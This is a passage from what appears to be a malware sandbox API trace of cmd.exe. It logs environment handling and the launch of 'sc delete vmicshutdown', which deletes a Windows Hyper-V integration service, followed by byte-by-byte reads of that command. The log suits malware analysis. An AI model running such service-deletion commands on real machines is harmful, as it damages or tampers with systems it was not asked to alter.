_String2="ALLUSER", _MaxCount=0x7) returned 2 [0072.359] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0072.359] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0072.359] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0072.359] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0072.359] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0072.359] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0072.359] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0072.359] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0072.359] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0072.359] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0072.359] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0072.359] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0072.359] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0072.359] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0072.359] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0072.359] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.359] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.359] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.359] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.359] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.359] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.359] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.359] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.359] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0072.359] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0072.359] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0072.359] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0072.359] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0072.359] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0072.359] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0072.360] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0072.360] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0072.360] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0072.360] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0072.360] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0072.360] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0072.360] GetProcessHeap () returned 0x240000 [0072.360] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0072.360] GetProcessHeap () returned 0x240000 [0072.360] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2598a0 [0072.360] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete vmicshutdown", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete vmicshutdown", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete vmicshutdown", lpProcessInformation=0x1af360*(hProcess=0x54, hThread=0x50, dwProcessId=0x80c, dwThreadId=0x81c)) returned 1 [0072.363] CloseHandle (hObject=0x50) returned 1 [0072.363] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0072.363] GetProcessHeap () returned 0x240000 [0072.363] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0072.363] GetEnvironmentStringsW () returned 0x25ba10* [0072.363] GetProcessHeap () returned 0x240000 [0072.363] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x258980 [0072.363] FreeEnvironmentStringsW (penv=0x25ba10) returned 1 [0072.363] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0072.363] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd8000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0072.364] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0072.557] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0072.557] CloseHandle (hObject=0x54) returned 1 [0072.557] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0072.557] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0072.557] GetProcessHeap () returned 0x240000 [0072.557] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x258980 | out: hHeap=0x240000) returned 1 [0072.557] GetEnvironmentStringsW () returned 0x25ba10* [0072.557] GetProcessHeap () returned 0x240000 [0072.557] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x258980 [0072.557] FreeEnvironmentStringsW (penv=0x25ba10) returned 1 [0072.557] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0072.557] GetProcessHeap () returned 0x240000 [0072.558] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x258980 | out: hHeap=0x240000) returned 1 [0072.558] GetEnvironmentStringsW () returned 0x25ba10* [0072.558] GetProcessHeap () returned 0x240000 [0072.558] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x258980 [0072.558] FreeEnvironmentStringsW (penv=0x25ba10) returned 1 [0072.558] GetProcessHeap () returned 0x240000 [0072.558] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2598a0 | out: hHeap=0x240000) returned 1 [0072.558] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0072.558] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0072.559] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.559] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0072.559] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.559] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0072.559] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.559] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0072.559] GetConsoleOutputCP () returned 0x1b5 [0072.560] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0072.560] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.560] GetProcessHeap () returned 0x240000 [0072.560] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0072.560] GetProcessHeap () returned 0x240000 [0072.560] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0072.560] GetProcessHeap () returned 0x240000 [0072.560] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259db0 | out: hHeap=0x240000) returned 1 [0072.560] GetProcessHeap () returned 0x240000 [0072.560] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c530 | out: hHeap=0x240000) returned 1 [0072.560] GetProcessHeap () returned 0x240000 [0072.560] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25aa90 | out: hHeap=0x240000) returned 1 [0072.560] GetProcessHeap () returned 0x240000 [0072.560] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0072.560] GetProcessHeap () returned 0x240000 [0072.560] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25aa40 | out: hHeap=0x240000) returned 1 [0072.560] GetProcessHeap () returned 0x240000 [0072.560] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x258900 | out: hHeap=0x240000) returned 1 [0072.560] GetProcessHeap () returned 0x240000 [0072.560] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2597e0 | out: hHeap=0x240000) returned 1 [0072.561] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0072.561] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.561] GetFileType (hFile=0x120) returned 0x3 [0072.561] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.561] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0072.561] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0072.561] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0072.561] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0072.561] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0072.561] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0072.561] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.561] GetFileType (hFile=0x120) returned 0x3 [0072.561] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.561] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0072.561] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0072.562] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.562] GetFileType (hFile=0xb8) returned 0x3 [0072.562] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.562] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.562] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.562] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete vmicshutdown\nrface\n") returned 1 [0072.562] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.562] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.562] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.562] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete vmicshutdown\nrface\n") returned 1 [0072.562] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.562] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.562] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.562] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete vmicshutdown\nrface\n") returned 1 [0072.562] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.562] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.562] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.562] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete vmicshutdown\nrface\n") returned 1 [0072.562] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.562] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.563] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.563] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete vmicshutdown\nrface\n") returned 1 [0072.563] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.563] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.563] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.563] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete vmicshutdown\nrface\n") returned 1 [0072.563] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.563] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.563] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.563] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete vmicshutdown\nrface\n") returned 1 [0072.563] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.563] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.563] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.563] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te vmicshutdown\nrface\n") returned 1 [0072.563] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.563] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.563] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.563] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e vmicshutdown\nrface\n") returned 1 [0072.563] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.563] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.564] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.564] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" vmicshutdown\nrface\n") returned 1 [0072.564] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.564] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.564] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.564] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="vmicshutdown\nrface\n") returned 1 [0072.564] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.564] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.564] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.564] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="micshutdown\nrface\n") returned 1 [0072.564] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.564] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.564] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.564] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="icshutdown\nrface\n") returned 1 [0072.564] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.564] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.564] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.564] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="cshutdown\nrface\n") returned 1 [0072.564] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.564] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.564] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.565] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="hhutdown\nrface\n") returned 1 [0072.565] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.565] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.565] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.565] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="eutdown\nrface\n") returned 1 [0072.565] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.565] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.565] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.565] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="atdown\nrface\n") returned 1 [0072.565] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.565] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.565] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.565] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="rdown\nrface\n") returned 1 [0072.565] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.565] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.565] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.565] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="town\nrface\n") returned 1 [0072.565] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.565] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.566] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.566] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e346, cchWideChar=1 | out: lpWideCharStr="bwn\nrface\n") returned 1 [0072.566] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.566] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.566] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.566] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e348, cchWideChar=1 | out: 